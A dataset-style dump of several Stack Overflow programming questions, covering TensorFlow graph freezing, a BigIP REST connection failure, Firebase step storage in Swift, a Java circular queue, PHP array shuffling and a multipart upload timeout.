<p>The sprite does stop when colliding with the wall... Problem is that teleports back to it's begining position...
<a href="https://jsfiddle.net/YewtreeStudio/b1v9Loey/4/" rel="nofollow noreferrer">https://jsfiddle.net/YewtreeStudio/b1v9Loey/4/</a></p>
| 3 | 2,573 |
Tensorflow : Generate freeze graph without having node_names
|
<p>I have some (old) Tensorflow model that have been created by another person.</p>
<p>For each of these model, I want to create frozen graph.</p>
<p>My models can be either <code>Saved Model</code> : </p>
<pre><code>+--- name.txt
+--- saved_model.pb
+--- variables
| +--- variables.data-00000-of-00001
| +--- variables.index
</code></pre>
<p>Or <code>Meta Graphs</code> : </p>
<pre><code>+--- export.data-00000-of-00001
+--- export.index
+--- export.meta
</code></pre>
<p>So, I tried to create frozen graphs using these functions: </p>
<pre><code>import tensorflow as tf
import os
def frozenGraph_SavedGraph(modelFolder, outputFolder, toolsFilepath)
networkGraph = "saved_model.pb"
networkCheckpoint = "variables/variables.data-00000-of-00001"
args = "--checkpoint_version=1\
--input_graph=" + modelFolder + "/" + networkGraph + "\
--input_checkpoint=" + modelFolder + "/" + networkCheckpoint + "\
--output_graph=" + outputFolder + "\
--input_binary=true"
os.system(toolsFilepath + "/freeze_graph.py " + args)
def frozenGraph_Metagraph(modelFolder, outputFolder, toolsFilepath)
networkMeta = "export.meta"
networkCheckpoint = "export.data-00000-of-00001"
args = "--checkpoint_version=1\
--input_meta_graph=" + modelFolder + "/" + networkMeta + "\
--input_checkpoint=" + modelFolder + "/" + networkCheckpoint + "\
--output_graph=" + outputFolder + "\
--input_binary=true"
os.system(toolsFilepath + "/freeze_graph.py " + args)
toolsFilepath = os.path.dirname(tf.__file__) + "/python/tools"
savedGraphFilepath = [PATH/TO/SAVED_GRAPH]
metaGraphFilepath = [PATH/TO/META_GRAPH]
outputFolder = "/output"
frozenGraph_SavedGraph(savedGraphFilepath, outputFolder, toolsFilepath)
frozenGraph_Metagraph(metaGraphFilepath, outputFolder, toolsFilepath)
</code></pre>
<p>But for both of these function, I get the error message : </p>
<pre><code>You need to supply the name of a node to --output_node_names.
</code></pre>
<p>The problem is that I don't think that I have the node names in the file that are available to me (those listed above).</p>
<p>Is there a way to generate frozen graphs without these informations ? (Or a way to retrieve them ?)</p>
<p>EDIT : </p>
<p>I tried to retrieve node names from the graph using this code : </p>
<pre><code>def printNames_Metagraph(modelFolder):
networkMeta = "export.meta"
networkCheckpoint = "export.data-00000-of-00001"
saver = tf.train.import_meta_graph(modelFolder + "/" + networkMeta)
sess = tf.Session()
saver.restore(sess, modelFolder + "/" + networkCheckpoint)
graph = sess.graph
print([node.name for node in graph.as_graph_def().node])
</code></pre>
<p>But it throws a lot of error and warnings : </p>
<pre><code>2019-03-14 16:40:42.973341: W tensorflow/core/framework/op_def_util.cc:357] Op TensorArray is deprecated. It will cease to work in GraphDef version 16. Use TensorArrayV3.
2019-03-14 16:40:42.973738: W tensorflow/core/framework/op_def_util.cc:357] Op TensorArrayScatter is deprecated. It will cease to work in GraphDef version 19. Use TensorArrayGradV3.
2019-03-14 16:40:42.974148: W tensorflow/core/framework/op_def_util.cc:357] Op TensorArrayRead is deprecated. It will cease to work in GraphDef version 16. Use TensorArrayReadV3.
2019-03-14 16:40:42.974740: W tensorflow/core/framework/op_def_util.cc:357] Op TensorArrayWrite is deprecated. It will cease to work in GraphDef version 16. Use TensorArrayWriteV3.
2019-03-14 16:40:42.975107: W tensorflow/core/framework/op_def_util.cc:357] Op TensorArraySize is deprecated. It will cease to work in GraphDef version 16. Use TensorArraySizeV3.
2019-03-14 16:40:42.975378: W tensorflow/core/framework/op_def_util.cc:357] Op TensorArrayGather is deprecated. It will cease to work in GraphDef version 16. Use TensorArrayGatherV3.
WARNING: Logging before flag parsing goes to stderr.
W0314 16:40:43.424403 10080 meta_graph.py:897] The saved meta_graph is possibly from an older release:
'model_variables' collection should be of type 'byte_list', but instead is of type 'node_list'.
2019-03-14 16:40:43.439121: I tensorflow/core/platform/cpu_feature_guard.cc:142] Your CPU supports instructions that this TensorFlow binary was not compiled to use: AVX2
W0314 16:40:43.442324 10080 deprecation.py:323] From [MY/PATH/]lib\site-packages\tensorflow\python\training\saver.py:1276: checkpoint_exists (from tensorflow.python.training.checkpoint_management) is deprecated and will be removed in a future version.
Instructions for updating:
Use standard file APIs to check for files with this prefix.
2019-03-14 16:40:44.049683: W tensorflow/core/util/tensor_slice_reader.cc:95] Could not open [MY/PATH2/]/models\PATH/TO/METAGRAPH/export.data-00000-of-00001: Data loss: not an sstable (bad magic number): perhaps your file is in a different file format and you need to use a different restore operator?
2019-03-14 16:40:44.052551: W tensorflow/core/util/tensor_slice_reader.cc:95] Could not open [MY/PATH2/]/models\PATH/TO/METAGRAPH/export.data-00000-of-00001: Data loss: not an sstable (bad magic number): perhaps your file is in a different file format and you need to use a different restore operator?
2019-03-14 16:40:44.052574: W tensorflow/core/util/tensor_slice_reader.cc:95] Could not open [MY/PATH2/]/models\PATH/TO/METAGRAPH/export.data-00000-of-00001: Data loss: not an sstable (bad magic number): perhaps your file is in a different file format and you need to use a different restore operator?
2019-03-14 16:40:44.053005: W tensorflow/core/framework/op_kernel.cc:1431] OP_REQUIRES failed at save_restore_tensor.cc:175 : Data loss: Unable to open table file [MY/PATH2/]/models\PATH/TO/METAGRAPH/export.data-00000-of-00001: Data loss: not an sstable (bad magic number): perhaps your file is in a different file format and you need to use a different restore operator?
...
Traceback (most recent call last):
File "[MY/PATH/]lib\site-packages\tensorflow\python\client\session.py", line 1335, in _do_call
return fn(*args)
File "[MY/PATH/]lib\site-packages\tensorflow\python\client\session.py", line 1320, in _run_fn
options, feed_dict, fetch_list, target_list, run_metadata)
File "[MY/PATH/]lib\site-packages\tensorflow\python\client\session.py", line 1408, in _call_tf_sessionrun
run_metadata)
tensorflow.python.framework.errors_impl.DataLossError: Unable to open table file [MY/PATH2/]/models\PATH/TO/METAGRAPH/export.data-00000-of-00001: Data loss: not an sstable (bad magic number): perhaps your file is in a different file format and you need to use a different restore operator?
[[{{node save/RestoreV2_311}}]]
During handling of the above exception, another exception occurred:
Traceback (most recent call last):
File "[MY/PATH2/]Main.py", line 80, in <module>
printNames()
File "[MY/PATH2/]Main.py", line 64, in printNames
saver.restore(sess, modelFolder + "/" + networkWeightsFile)
File "[MY/PATH/]lib\site-packages\tensorflow\python\training\saver.py", line 1286, in restore
{self.saver_def.filename_tensor_name: save_path})
File "[MY/PATH/]lib\site-packages\tensorflow\python\client\session.py", line 930, in run
run_metadata_ptr)
File "[MY/PATH/]lib\site-packages\tensorflow\python\client\session.py", line 1153, in _run
feed_dict_tensor, options, run_metadata)
File "[MY/PATH/]lib\site-packages\tensorflow\python\client\session.py", line 1329, in _do_run
run_metadata)
File "[MY/PATH/]lib\site-packages\tensorflow\python\client\session.py", line 1349, in _do_call
raise type(e)(node_def, op, message)
tensorflow.python.framework.errors_impl.DataLossError: Unable to open table file [MY/PATH2/]/models\PATH/TO/METAGRAPH/export.data-00000-of-00001: Data loss: not an sstable (bad magic number): perhaps your file is in a different file format and you need to use a different restore operator?
[[node save/RestoreV2_311 (defined at [MY/PATH2/]Main.py:62) ]]
Original stack trace for 'save/RestoreV2_311':
File "[MY/PATH2/]Main.py", line 80, in <module>
printNames()
File "[MY/PATH2/]Main.py", line 62, in printNames
saver = tf.train.import_meta_graph(modelFolder + "/" + networkArcFile)
File "[MY/PATH/]\lib\site-packages\tensorflow\python\training\saver.py", line 1445, in import_meta_graph
meta_graph_or_file, clear_devices, import_scope, **kwargs)[0]
File "[MY/PATH/]\lib\site-packages\tensorflow\python\training\saver.py", line 1467, in _import_meta_graph_with_return_elements
**kwargs))
File "[MY/PATH/]\lib\site-packages\tensorflow\python\framework\meta_graph.py", line 855, in import_scoped_meta_graph_with_return_elements
return_elements=return_elements)
File "[MY/PATH/]\lib\site-packages\tensorflow\python\util\deprecation.py", line 507, in new_func
return func(*args, **kwargs)
File "[MY/PATH/]\lib\site-packages\tensorflow\python\framework\importer.py", line 443, in import_graph_def
_ProcessNewOps(graph)
File "[MY/PATH/]\lib\site-packages\tensorflow\python\framework\importer.py", line 236, in _ProcessNewOps
for new_op in graph._add_new_tf_operations(compute_devices=False): # pylint: disable=protected-access
File "[MY/PATH/]\lib\site-packages\tensorflow\python\framework\ops.py", line 3612, in _add_new_tf_operations
for c_op in c_api_util.new_tf_operations(self)
File "[MY/PATH/]\lib\site-packages\tensorflow\python\framework\ops.py", line 3612, in <listcomp>
for c_op in c_api_util.new_tf_operations(self)
File "[MY/PATH/]\lib\site-packages\tensorflow\python\framework\ops.py", line 3504, in _create_op_from_tf_operation
ret = Operation(c_op, self)
File "[MY/PATH/]\lib\site-packages\tensorflow\python\framework\ops.py", line 1961, in __init__
self._traceback = tf_stack.extract_stack()
Process finished with exit code 1
</code></pre>
<p>Notes : </p>
<ul>
<li>Using Tensorflow 1.13.1 with Python 3</li>
<li>The models I am trying to load might use an old version of Tensorflow with the first version of checkpoints</li>
<li>The models are binary files</li>
</ul>
| 3 | 3,587 |
Connection refused trying to access REST endpoint on BigIP
|
<p>Attempting to connect to the REST endpoint of my BigIP:</p>
<pre><code>curl https://10.1.0.69/mgmt/shared/appsvcs/info
curl: (7) Failed to connect to 10.1.0.69 port 443: Connection refused
</code></pre>
<p>I've seen some posts online stating that this could be due to <code>icrd</code> not being enabled, so to check the status:</p>
<pre><code>admin@(ip-10-1-0-69)(cfg-sync Standalone)(Active)(/Common)(tmos)# show sys service icrd
Couldn't find service: icrd
</code></pre>
<p>Next, I've tried enabling:</p>
<pre><code>admin@(ip-10-1-0-69)(cfg-sync Standalone)(Active)(/Common)(tmos)# modify sys service icrd add
Couldn't find service: icrd
</code></pre>
<p>My version info:</p>
<pre><code>admin@(ip-10-1-0-69)(cfg-sync Standalone)(Active)(/Common)(tmos)# show /sys version
Sys::Version
Main Package
Product BIG-IP
Version 15.1.0.2
Build 0.0.9
Edition Point Release 2
Date Fri Mar 20 21:06:24 PDT 2020
</code></pre>
<p>I've also seen some posts stating that I can do the following:</p>
<pre><code>touch /etc/bigstart/scripts/scim
bigstart add --default icrd
bigstart enable icrd
bigstart start icrd
</code></pre>
<p>However,</p>
<pre><code>admin@(ip-10-1-0-69)(cfg-sync Standalone)(Active)(/Common)(tmos)# run /util bash
[admin@ip-10-1-0-69:Active:Standalone] ~ # touch /etc/bigstart/scripts/scim
[admin@ip-10-1-0-69:Active:Standalone] ~ # bigstart add --default icrd
Couldn't find service: icrd
</code></pre>
<p>Also:</p>
<pre><code>[admin@ip-10-1-0-69:Active:Standalone] ~ # bigstart status restjavad restnoded
restjavad run (pid 6549) 49 minutes
restnoded run (pid 5650) 49 minutes
</code></pre>
<p>Also, it appears the rest api is running but on port 8100:</p>
<pre><code>[admin@ip-10-1-0-69:Active:Standalone] curl http://localhost:8100/mgmt/shared/appsvcs/info
{"code":401,"message":"Authorization failed: no user authentication header or token detected. Uri:http://localhost:8100/mgmt/shared/appsvcs/info Referrer:Unknown Sender:Unknown","referer":"Unknown","restOperationId":6611305,"kind":":resterrorresponse"}
</code></pre>
<p>No ports are bound to 443:</p>
<pre><code>[admin@ip-10-1-0-69:Active:Standalone] ~ # netstat -nalt | grep 443
tcp 0 0 127.0.0.1:44352 127.0.0.1:6666 ESTABLISHED
tcp 0 0 127.0.0.1:6666 127.0.0.1:44352 ESTABLISHED
tcp6 0 0 :::8443 :::* LISTEN
</code></pre>
<p>Any ideas?</p>
| 3 | 1,047 |
Swift - Store Dates of Step Counter in Firebase Database
|
<p>I've created a pedometer that stores in a firebase database. However it only stores step data for that one day and when I start another day the steps disappear. I'm guessing I would need to store this data under separate dates to see how many steps were taken each day. I cannot work out how to implement this into my own code. Any help in how to add the date to separate child nodes would be appreciated.</p>
<pre><code>import UIKit
import CoreMotion
import Dispatch
import Firebase
class PedometerViewController: UIViewController {
// Declarations of Pedometer
private let activityManager = CMMotionActivityManager()
private let pedometer = CMPedometer()
private var shouldStartUpdating: Bool = false
private var startDate: Date? = nil
var stepNumberVule: Int = 0
// Storyboard connections
@IBOutlet weak var startButton: UIButton!
@IBOutlet weak var stepsCountLabel: UILabel!
@IBOutlet weak var activityTypeLabel: UILabel!
private func updateStepCounterValue(_ numberOfSteps: NSNumber) {
stepNumberVule = numberOfSteps.intValue
stepsCountLabel.text = numberOfSteps.stringValue
}
func getPedValue() {
var ref: DatabaseReference!
ref = Database.database().reference()
let userID = Auth.auth().currentUser?.uid
ref.child("user").child(userID!).observeSingleEvent(of: .value, with: { (snapshot) in
let value = snapshot.value as? NSDictionary
let ped:Int = value?["pedometer"] as? Int ?? 0
self.stepNumberVule = ped
self.stepsCountLabel.text = ("\(self.stepNumberVule)")
}) { (error) in
print(error.localizedDescription)
}
}
@IBAction func Save(_ sender: Any) {
var ref: DatabaseReference!
ref = Database.database().reference()
let user = Auth.auth().currentUser!.uid
let key = ref.child("user").child(user)
ref.child("user/\(user)/pedometer").setValue(self.stepNumberVule)
}
// Do any additional setup after loading the view.
override func viewDidLoad() {
super.viewDidLoad()
startButton.addTarget(self, action: #selector(didTapStartButton), for: .touchUpInside)
}
// Do additional tasks associated with presenting the view
override func viewWillAppear(_ animated: Bool) {
super.viewWillAppear(animated)
guard let startDate = startDate else { return }
updateStepsCountLabelUsing(startDate: startDate)
}
@IBAction func Ready(_ sender: AnyObject) {
self.startButton.isHidden = true
}
// Ready? button tapped
@objc private func didTapStartButton() {
let popOverVC = UIStoryboard(name: "Tab Bar", bundle: nil).instantiateViewController(withIdentifier: "PopUp") as! PopUpViewController
self.addChildViewController(popOverVC)
self.view.addSubview(popOverVC.view)
popOverVC.didMove(toParentViewController: self)
shouldStartUpdating = !shouldStartUpdating
shouldStartUpdating ? (onStart()) : (onStop())
}
}
// Pedometer Extension and its private fuctions (functions are explained explicitly so no need for comments)
extension PedometerViewController {
private func onStart() {
startButton.setTitle("Stop", for: .normal)
startDate = Date()
checkAuthorizationStatus()
startUpdating()
}
private func onStop() {
startButton.setTitle("Start", for: .normal)
startDate = nil
stopUpdating()
}
private func startUpdating() {
if CMMotionActivityManager.isActivityAvailable() {
startTrackingActivityType()
} else {
activityTypeLabel.text = "Not available"
}
if CMPedometer.isStepCountingAvailable() {
startCountingSteps()
} else {
stepsCountLabel.text = "Not available"
}
}
private func checkAuthorizationStatus() {
switch CMMotionActivityManager.authorizationStatus() {
case CMAuthorizationStatus.denied:
onStop()
activityTypeLabel.text = "Not available"
stepsCountLabel.text = "Not available"
default:break
}
}
private func stopUpdating() {
activityManager.stopActivityUpdates()
pedometer.stopUpdates()
pedometer.stopEventUpdates()
}
private func on(error: Error) {
//handle error
}
// Update step count
private func updateStepsCountLabelUsing(startDate: Date) {
pedometer.queryPedometerData(from: startDate, to: Date()) {
[weak self] pedometerData, error in
if let error = error {
self?.on(error: error)
} else if let pedometerData = pedometerData {
DispatchQueue.main.async {
self?.updateStepCounterValue(pedometerData.numberOfSteps)
}
}
}
}
// Activity type
private func startTrackingActivityType() {
activityManager.startActivityUpdates(to: OperationQueue.main) {
[weak self] (activity: CMMotionActivity?) in
guard let activity = activity else { return }
DispatchQueue.main.async {
if activity.walking {
self?.activityTypeLabel.text = "You're walking"
} else if activity.stationary {
self?.activityTypeLabel.text = "You're still"
} else if activity.running {
self?.activityTypeLabel.text = "You're running"
} else if activity.automotive {
self?.activityTypeLabel.text = "Driving"
}
}
}
}
// Start counting steps
private func startCountingSteps() {
pedometer.startUpdates(from: Date()) {
[weak self] pedometerData, error in
guard let pedometerData = pedometerData, error == nil else { return }
DispatchQueue.main.async {
self?.updateStepCounterValue(pedometerData.numberOfSteps)
}
}
}
</code></pre>
| 3 | 1,956 |
Creating a dequeue method using a Circlular linked Queue in java
|
<p>I'm having trouble figuring out how to finish my dequeue method. I'm only allowed a rear pointer instance variable. I am getting the first two entries delelted from the queue but then it doesn't delete the rest. My code is below. I'm super confused what is going on in my method. Thank you</p>
<pre><code>public class CircularLinkedQueue<T> implements QueueInterface<T>
{
private Node lastNode;
@Override
public void enqueue(Object newEntry)
{
Node newNode = new Node(newEntry, null);
if(lastNode == null)
newNode.setNextNode(newNode);
else
{
newNode.setNextNode(lastNode.getNextNode());
lastNode.setNextNode(newNode);
}
lastNode = newNode;
}
@SuppressWarnings("unchecked")
@Override
public T dequeue()
{
T result = null;
if(!isEmpty())
{
result = (T) lastNode.getNextNode().getData();
lastNode = lastNode.getNextNode();
if(lastNode.getNextNode() == null)
lastNode = null;
else
lastNode.getNextNode().setNextNode(null);
}
return result;
}
@Override
public T getFront()
{
T results = null;
if(!isEmpty())
results = (T) lastNode.getNextNode().getData();
return results;
}
@Override
public boolean isEmpty()
{
if(lastNode == null)
return true;
else return false;
}
@Override
public void clear()
{
lastNode = null;
}
</code></pre>
<p>}</p>
<p>My driver program for the dequeue should be like this.</p>
<pre><code> public static void main(String[] args) {
System.out.println("Create a queue: ");
QueueInterface<String> myQueue = new CircularLinkedQueue<String>();
myQueue.enqueue("Ann");
myQueue.enqueue("Bill");
myQueue.enqueue("Carol");
myQueue.enqueue("David");
myQueue.enqueue("Edgar");
myQueue.enqueue("Fred");
while (!myQueue.isEmpty()) {
Object front = myQueue.getFront();
System.out.println("\t" + front + " is at the front of the queue.");
front = myQueue.dequeue();
System.out.println("\t" + front + " is removed from the front of the queue.");
}
}
}
</code></pre>
<p>Output should look like this</p>
<pre><code>Ann is at the front of the queue.
Ann is removed from the front of the queue.
Bill is at the front of the queue.
Bill is removed from the front of the queue.
Carol is at the front of the queue.
Carol is removed from the front of the queue.
David is at the front of the queue.
David is removed from the front of the queue.
Edgar is at the front of the queue.
Edgar is removed from the front of the queue.
Fred is at the front of the queue.
Fred is removed from the front of the queue.
</code></pre>
<p>My output looks like this</p>
<pre><code>Ann is removed from the front of the queue.
Bill is at the front of the queue.
Bill is removed from the front of the queue.
</code></pre>
| 3 | 1,086 |
Python Can't find string in file
|
<p>I started working on my game few days ago. I made system for loading(on start) and saving(on exit). On first loging in everything is fine but on second error(NameError: name 'strange' is not defined) showed up. Can someone help me to solve it please? I know that problem is in finding name in file becouse I tryed to put else statment after everything under</p>
<pre><code>elif ab.read().find(a) != -1:
</code></pre>
<p>and that what I put under else worked but it was just print so other required didn't worked under else.
Here's my program:</p>
<pre><code>import sys, random, time, re
print("Welcome to game Special Travel Adventure!")
def con(a, b):
return a.lower() == b.lower()
a = str(input("If you want to continue with game type your name here: "))
ab = open("STAPlayers.txt", "r+")
if ab.read().find(a) == -1:
if ab.read() == "":
ac = "Name:" + a + ":Strange:" + "0" + ":Courage:" + "0" + ":Skills:" + "0" + ":Money:" + "0" + ":Level:" + "0" + ":Deaths:" + "0"
ab.write(ac)
strange = 0
courage = 0
skills = 0
money = 0
level = 0
deaths = 0
else:
ac = "\nName:" + a + ":Strange:" + "0" + ":Courage:" + "0" + ":Skills:" + "0" + ":Money:" + "0" + ":Level:" + "0" + ":Deaths:" + "0"
ab.write(ac)
strange = 0
courage = 0
skills = 0
money = 0
level = 0
deaths = 0
elif ab.read().find(a) != -1:
readdd = ab.readlines()
for line in readdd:
if line.find(a) != -1:
zm = line.split(":")
zm.remove("Name")
zm.remove("Strange")
zm.remove("Courage")
zm.remove("Skills")
zm.remove("Money")
zm.remove("Level")
zm.remove("Deaths")
strange = int(zm[1])
courage = int(zm[2])
skills = int(zm[3])
money = int(zm[4])
level = int(zm[5])
deaths = int(zm[6])
ab.close()
def levelc():
if courage and strange and skills == 1:
level += 1
return True
if courage and strange and skills == 2:
level += 1
return True
if courage and strange and skills == 3:
level += 1
return True
if courage and strange and skills == 4:
level += 1
return True
if courage and strange and skills == 5:
level += 1
return True
else:
return False
b = input("Start Menu\nSelect: Start, Upgrades, Exit. ")
while b != "dont save":
if con(b, "Exit"):
aj = open("STAPlayers.txt", "r")
lines = aj.readlines()
aj.close()
aj = open("STAPlayers.txt", "w")
jmj = "Name:" + a + ":Strange:" + str(strange) + ":Courage:" + str(courage) + ":Skills:" + str(skills) + ":Money:" + str(money) + ":Level:" + str(level) + ":Deaths:" + str(deaths)
for linee in lines:
if str(a) not in linee:
aj.write(linee)
elif str(a) in linee:
jmjm = jmj + "\n"
aj.write(jmjm)
aj.close()
sys.exit()
break
</code></pre>
<p>I know that problem is in finding name in file becouse I tryed to put else statment after everything under</p>
<pre><code>elif ab.read().find(a) != -1:
</code></pre>
<p>and that what I put under else worked but it was just print so other required didn't worked under else. Please help.</p>
| 3 | 1,596 |
Multipart data sending got 408 Status
|
<p>guys. Need help with sending POST request with multipart-data.</p>
<p>I have a method to create request on my client side. Here it is:</p>
<pre><code>public void sendMultipart(String cmd , Employee emp) {
CloseableHttpClient httpClient = HttpClients.createDefault();
HttpPost uploadFile = new HttpPost(baseUrl + cmd);
MultipartEntityBuilder builder = MultipartEntityBuilder.create();
FileBody f = new FileBody(emp.getPhoto());
try {
StringBody s = new StringBody(emp.getLogin());
builder.addPart("name", s);
builder.addPart("file", f);
} catch (UnsupportedEncodingException ex) {
Logger.getLogger(RestTemplateRequester.class.getName()).log(Level.SEVERE, null, ex);
}
uploadFile.setHeader("Accept", "application/json");
uploadFile.setHeader("Content-type", "application/json");
uploadFile.setHeader("enctype","multipart/form-data");
uploadFile.setHeader("accept-charset","UTF-8");
//builder.addTextBody("field1", "yes", ContentType.TEXT_PLAIN);
//builder.addBinaryBody(emp.getLogin(), emp.getPhoto(), ContentType.MULTIPART_FORM_DATA, "file");
HttpEntity multipart = builder.build();
uploadFile.setEntity(multipart);
try {
HttpResponse httpResponse = httpClient.execute(uploadFile);
int status = httpResponse.getStatusLine().getStatusCode();
String str = httpResponse.getStatusLine().getReasonPhrase();
} catch (IOException ex) {
Logger.getLogger(RestTemplateRequester.class.getName()).log(Level.SEVERE, null, ex);
}
}
</code></pre>
<p>Also I have a method to handle request on my server side:</p>
<pre><code>@RequestMapping(value = "photo", consumes = "multipart/form-data")
public @ResponseBody
void uploadFileHandler(@RequestParam("name") String name,
@RequestParam("file") MultipartFile file) {
if (!file.isEmpty()) {
try {
byte[] bytes = file.getBytes();
// Create the file on server
File serverFile = new File(name);
BufferedOutputStream stream = new BufferedOutputStream(
new FileOutputStream(serverFile));
stream.write(bytes);
stream.close();
} catch (Exception e) {
e.getMessage();
}
}
}
</code></pre>
<p>And in my context:</p>
<pre><code><bean id="multipartResolver"
class="org.springframework.web.multipart.commons.CommonsMultipartResolver">
<!-- setting maximum upload size -->
<property name="maxUploadSize" value="100000" />
</bean>
</code></pre>
<p>The problem which I have now - is a 408 error "Request Time Out".
My common aim is - send JSON with file to server. I so green with web services in java, so i got some troubles.
Please, It will be great, if someone can give me a little advice. Thank you.</p>
| 3 | 1,079 |
PHP how to reuse a function from a clean state
|
<p>`I have a function called lets say calculate; what i want to do is run some loops with in the function calculating an outcome. at times this function does fail as it will get stuck in a loop, so iv got it covered to exit the loop but my problem is i want to restart this function and hope it come out with an outcome if not i will try again... on average the request does not have an outcome around 1 in 20, i need to restart the function from a clean slate.</p>
<p>i have tried to unset all the vars before i rerun the process with out success.please note this function will fail at times from the information handed to the process, un avoidable so
when this accurs i just want to rerun the function automatically to generate an outcome.</p>
<p><a href="http://www.gamezslave.com/test/DynamicSlots.swf" rel="nofollow">http://www.gamezslave.com/test/DynamicSlots.swf</a> this is my test prototype give you an idea
sometimes you refresh it will error because of this factor.</p>
<pre><code><?php
$checker = 0; // if i cant get a result i could use this will tick up until condition
function shuffleArray($myArray) {
$value_count = array_count_values($myArray);
$last_value = $myArray[count($myArray) - 1];
unset($myArray[count($myArray) - 1]);
$shuffle = array();
$last = false;
while (count($myArray) > 0) {
$keys = array_keys($myArray);
$i = round(rand(0, count($keys) - 1));
while ($last === $myArray[$keys[$i]] ) {
$i = round(rand(0, count($keys) - 1));
echo "stuck";
$checker++;
if($checker>10){
echo " Too many checks so die, and restart process ";
return false;
bob; // this is the check function to goto and restart
}
}
$shuffle[] = $myArray[$keys[$i]];
$last = $myArray[$keys[$i]];
unset($myArray[$keys[$i]]);
}
if ($last_value === $last) {
$i = 0;
foreach($shuffle as $key=>$value) {
if ($value !== $last_value) {
$i = $key;
break;
}
}
array_slice($shuffle, $i + 1, 0, $last_value);
} else {
$shuffle[] = $last_value;
}
return $shuffle;
}
print_r(shuffleArray(array(1,5,5,3,7,7,7,7))); // just a example
function bob(){
if($checker>10){
$checker = 0;
shuffleArray();
echo "bob";
reset($myArray); // thought this may clean/reset the array i couldnt use
}
}
</code></pre>
<p>The idea this shuffle returns that no two symbols elemts of the same will be next to each other but sometimes at the end of the array as its shuffling randomly im left with bad odds (apple, orange, orange, orange) so what i need to do is resart this process again from start take in mind there is about 10 different item in the array and duplicates of each for example 10 apples ,10 oranges 4 bannanas 3 grapes sometimes the shuffle manages to generate an outcome where im stuck with too many of the same item at the end of the array wich then i need to rerun the script(and this bit is the problem) i dont know how.</p>
| 3 | 1,130 |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.